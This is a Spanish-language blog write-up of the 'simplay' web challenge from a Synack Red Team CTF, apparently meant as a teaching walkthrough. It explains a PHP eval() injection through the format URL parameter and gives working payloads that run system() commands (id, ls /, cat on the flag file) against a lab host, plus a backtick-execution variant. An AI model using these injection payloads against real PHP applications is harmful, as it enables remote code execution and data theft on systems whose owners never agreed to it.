Contenido

Resolviendo Web Simplay

El pasado fin de semana, el Red team de synack iniciaba su ctf invitacional

El ctf contenía varios desafíos:

  • Crypto
  • Forensic
  • Misc
  • Pwn
  • Reversing
  • Web

Mi problema fueron los dias 5-7. Estaba en mi trabajo y no tuve tiempo para resolver estos desafíos, pero todos los desafíos se podían descargar. En esta publicación resolveré el desafío “simplay”. Todos los desafíos estan aqui

El reto

El título del reto decía:

The agency has picked up on an addictive mobile application that predicts when someone will find love. We suspect foul play by the evil company behind this obvious scheme. We think that they will try to have this application installed on every device in the world, in order to mind control it’s users. Agent, we need you to infiltrate the recent website they launched and save the world.

Web_simplay, ¿Qué hace?

Web_Simplay es un sitio web simple y muestra esto:

/ctfs/synackrt/simplay/images/simplayWeb.png
Figure 1: Simplay sitio principal

Solo contiene un boton “Try again”, cuando se hace clic en él, envía una solicitud con un valor “r” por defecto

1
    http://192.168.2.103:1337/?format=r

Cuando tratamos de cambiar el valor ‘r’, el sitio web cambia el mensaje de amor. por ejemplo, cuando intentamos esto:

1
    http://192.168.2.103:1337/?format=hello

Obtenemos esto:

/ctfs/synackrt/simplay/images/simplayHello.png
Figure 2: Simplay cambios

Obteniendo la flag

En este reto nos dan el código fuente, los archivos interesantes son:

  • “TimeController.php” a cargo de recibir la solicitud del usuario y almacenarla en la variable “$format”
  • “TimeModel.php” a cargo de generar fecha y mostrarla al cliente usando “$format”

Si revisamos detalladamente el archivo “TImeModel.php” en la linea 14 se usa la function “eval”, esa es la clave de este reto porque ejecuta el código php como una cadena y lo almacena en la variable “$time”, esa variable nos muestra el tiempo en que encontraremos el amor.

Saltando la funcion eval() para obtener RCE

Para saltarnos la función eval() solo reemplace el contenido de la variable “$time” y comente el siguiente carácter sí similar a la inyección sql pero no igual vamos a ver el código:

1
2
3
4
5
6
7
8
9
eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');

Necesitamos hacer esto en nuestra solicitud:

http://192.168.2.103:1337/?format=f");$time=system('id');//

la función eval se parece a:

eval('$time = date("f");$time=system('id');//", strtotime("' . $this->prediction . '"));');

la solicitud anterior nos muestra:

/ctfs/synackrt/simplay/images/simplayPayload.png
Figure 3: Simplay con el payload

Ahora estamos seguros de que se omite la función eval, el script “entrypoint.sh” mueve la bandera de “/var/www” a “/”, la siguiente solicitud lista “/”

1
http://192.168.2.103:1337/?format=f");$time=system('ls /');//

/ctfs/synackrt/simplay/images/simplayRoot.png
Figure 4: Simplay listando /

Finalmente, obtenemos la flag con:

1
http://192.168.2.103:1337/?format=f");$time=system('cat /flagJcc5p');// 

/ctfs/synackrt/simplay/images/simplayFlag.png
Figure 5: Simplay mostrando la flag /

Notas

Recuerde

Otra forma de conseguir RCE en este reto es usando:

1
http://192.168.2.103:1337/?format=${print `ls`} 
  • ls con acentos graves es un operador de ejecución
  • “print” imprime solo un argumento y siempre devuelve 1
  • ${} para evaluar una expresión
  • si intentas en php shell:
1
echo date("${print(`ls`)}");

obtienes la salida de “ls” y finalmente el error:

1
PHP Notice:  Undefined variable: 1 in PHP shell code on line 1

porque print siempre devuelve 1

Happy hacking!!!!